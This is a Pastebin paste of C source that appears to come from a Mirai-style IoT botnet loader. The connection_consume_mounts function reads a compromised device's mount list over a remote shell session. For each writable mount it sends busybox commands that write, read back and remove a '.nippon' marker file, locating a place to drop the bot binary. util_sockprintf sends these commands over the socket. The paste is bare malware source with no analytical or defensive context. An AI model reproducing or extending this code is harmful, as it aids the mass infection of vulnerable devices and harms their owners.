Advertisement
Guest User

Untitled

a guest
Nov 13th, 2019
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1. int connection_consume_mounts(struct connection *conn)
  2. {
  3. char linebuf[256];
  4. int linebuf_pos = 0, num_whitespaces = 0;
  5. int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
  6.  
  7. if (prompt_ending == -1)
  8. return 0;
  9.  
  10. for (i = 0; i < prompt_ending; i++)
  11. {
  12.  
  13. if (linebuf_pos == sizeof(linebuf) - 1)
  14. {
  15. // why are we here
  16. break;
  17. }
  18.  
  19. if (conn->rdbuf[i] == '\n')
  20. {
  21. char *path, *mnt_info;
  22.  
  23. linebuf[linebuf_pos++] = 0;
  24.  
  25. strtok(linebuf, " "); // Skip name of partition
  26. if ((path = strtok(NULL, " ")) == NULL)
  27. goto dirs_end_line;
  28. if (strtok(NULL, " ") == NULL) // Skip type of partition
  29. goto dirs_end_line;
  30. if ((mnt_info = strtok(NULL, " ")) == NULL)
  31. goto dirs_end_line;
  32.  
  33. if (path[strlen(path) - 1] == '/')
  34. path[strlen(path) - 1] = 0;
  35.  
  36. if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1)
  37. {
  38. util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n",
  39. VERIFY_STRING_HEX, path, path, path, path, path);
  40. }
  41.  
  42. dirs_end_line:
  43. linebuf_pos = 0;
  44. }
  45. else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t')
  46. {
  47. if (num_whitespaces++ == 0)
  48. linebuf[linebuf_pos++] = conn->rdbuf[i];
  49. }
  50. else if (conn->rdbuf[i] != '\r')
  51. {
  52. num_whitespaces = 0;
  53. linebuf[linebuf_pos++] = conn->rdbuf[i];
  54. }
  55. }
  56.  
  57. util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n",
  58. VERIFY_STRING_HEX);
  59.  
  60. util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
  61. return prompt_ending;
  62. }
  63.  
  64. BOOL util_sockprintf(int fd, const char *fmt, ...)
  65. {
  66. char buffer[BUFFER_SIZE + 2];
  67. va_list args;
  68. int len;
  69.  
  70. va_start(args, fmt);
  71. len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
  72. va_end(args);
  73.  
  74. if (len > 0)
  75. {
  76. if (len > BUFFER_SIZE)
  77. len = BUFFER_SIZE;
  78.  
  79. #ifdef DEBUG
  80. hexDump("TELOUT", buffer, len);
  81. #endif
  82. if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
  83. return FALSE;
  84. }
  85.  
  86. return TRUE;
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement